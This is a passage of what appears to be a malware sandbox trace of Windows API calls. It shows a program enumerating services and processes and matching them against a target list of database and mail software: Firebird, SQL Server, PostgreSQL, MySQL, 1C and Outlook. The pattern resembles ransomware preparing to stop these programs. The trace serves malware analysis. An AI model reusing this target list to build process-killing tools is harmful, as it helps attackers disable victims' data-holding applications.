lpString2="DcomLaunch") returned 1 [0203.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0203.930] lstrlenW (lpString="Dhcp") returned 4 [0203.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0203.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0203.932] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0203.932] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0203.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0203.933] lstrlenW (lpString="Dnscache") returned 8 [0203.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0203.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0203.933] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0203.933] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0203.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0203.933] lstrlenW (lpString="eventlog") returned 8 [0203.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0203.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0203.934] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0203.934] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0203.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0203.934] lstrlenW (lpString="EventSystem") returned 11 [0203.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0203.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0203.934] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0203.935] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0203.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0203.935] lstrlenW (lpString="gpsvc") returned 5 [0203.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0203.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0203.935] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0203.935] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0203.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0203.936] lstrlenW (lpString="lmhosts") returned 7 [0203.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0203.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0203.936] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0203.936] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0203.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0203.936] lstrlenW (lpString="MMCSS") returned 5 [0203.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0203.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0203.937] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0203.937] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0203.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0203.937] lstrlenW (lpString="nsi") returned 3 [0203.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0203.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0203.937] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0203.937] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0203.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0203.938] lstrlenW (lpString="PlugPlay") returned 8 [0203.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0203.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0203.938] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0203.938] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0203.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0203.939] lstrlenW (lpString="Power") returned 5 [0203.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0203.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0203.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0203.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0203.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0203.939] lstrlenW (lpString="ProfSvc") returned 7 [0203.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0203.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0203.940] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0203.940] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0203.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0203.940] lstrlenW (lpString="RpcEptMapper") returned 12 [0203.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.940] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0203.940] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0203.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0203.941] lstrlenW (lpString="RpcSs") returned 5 [0203.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0203.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0203.941] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0203.941] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0203.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0203.942] lstrlenW (lpString="SamSs") returned 5 [0203.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0203.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0203.942] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0203.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0203.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0203.943] lstrlenW (lpString="Schedule") returned 8 [0203.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0203.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0203.943] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0203.943] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0203.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0203.944] lstrlenW (lpString="SENS") returned 4 [0203.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0203.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0203.944] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0203.944] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0203.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0203.944] lstrlenW (lpString="ShellHWDetection") returned 16 [0203.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.945] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0203.945] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0203.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0203.945] lstrlenW (lpString="Spooler") returned 7 [0203.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0203.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0203.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0203.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0203.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0203.946] lstrlenW (lpString="Themes") returned 6 [0203.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0203.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0203.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0203.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0203.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0203.947] lstrlenW (lpString="UxSms") returned 5 [0203.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0203.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0203.947] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0203.947] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0203.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0203.947] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3b05d78 | out: hHeap=0x880000) returned 1 [0203.947] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0203.951] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.952] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0203.953] lstrlenW (lpString="System") returned 6 [0203.954] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0203.954] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0203.954] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0203.954] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0203.954] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0203.954] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0203.954] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0203.954] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0203.955] lstrlenW (lpString="smss.exe") returned 8 [0203.955] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0203.955] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0203.956] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0203.956] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0203.956] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0203.956] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0203.956] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0203.956] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.957] lstrlenW (lpString="csrss.exe") returned 9 [0203.958] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0203.958] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0203.958] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0203.958] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0203.958] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0203.958] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0203.958] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0203.958] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0203.959] lstrlenW (lpString="wininit.exe") returned 11 [0203.959] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0203.960] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0203.960] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0203.960] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0203.960] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0203.960] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0203.960] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0203.960] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.961] lstrlenW (lpString="csrss.exe") returned 9 [0203.961] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0203.961] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0203.961] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0203.961] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0203.962] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0203.962] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0203.962] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0203.962] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0203.963] lstrlenW (lpString="winlogon.exe") returned 12 [0203.963] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0203.963] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0203.963] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0203.963] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0203.963] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0203.963] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0203.963] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0203.964] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0203.965] lstrlenW (lpString="services.exe") returned 12 [0203.965] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0203.965] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0203.965] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0203.965] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0203.965] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0203.965] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0203.965] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0203.965] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0203.967] lstrlenW (lpString="lsass.exe") returned 9 [0203.967] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0203.967] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0203.967] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0203.967] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0203.967] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0203.967] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0203.967] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0203.968] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0203.969] lstrlenW (lpString="lsm.exe") returned 7 [0203.969] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0203.969] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0203.969] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0203.969] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0203.969] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0203.969] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0203.969] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0203.970] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.971] lstrlenW (lpString="svchost.exe") returned 11 [0203.971] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0203.971] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0203.971] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0203.972] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0203.972] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0203.972] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0203.972] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0203.972] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.438] lstrlenW (lpString="svchost.exe") returned 11 [0205.438] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.438] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.438] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.438] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.438] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.438] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.438] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.438] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.440] lstrlenW (lpString="svchost.exe") returned 11 [0205.440] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.440] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.440] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.441] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.441] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.441] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.441] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.441] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.442] lstrlenW (lpString="svchost.exe") returned 11 [0205.442] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.442] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.442] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.442] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.442] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.442] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.442] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.442] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.443] lstrlenW (lpString="svchost.exe") returned 11 [0205.444] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.444] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.444] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.444] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.444] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.444] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.444] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.444] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0205.445] lstrlenW (lpString="audiodg.exe") returned 11 [0205.445] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0205.445] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0205.445] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0205.445] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0205.445] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0205.445] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0205.446] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0205.446] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.447] lstrlenW (lpString="svchost.exe") returned 11 [0205.447] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.447] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.447] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.447] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.447] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.447] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.447] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.447] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0205.448] lstrlenW (lpString="userinit.exe") returned 12 [0205.448] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0205.448] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0205.449] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0205.449] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0205.449] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0205.449] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0205.449] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0205.449] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0205.450] lstrlenW (lpString="explorer.exe") returned 12 [0205.450] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0205.450] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0205.450] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0205.450] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0205.450] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0205.450] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0205.450] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0205.451] Process32NextW (in: 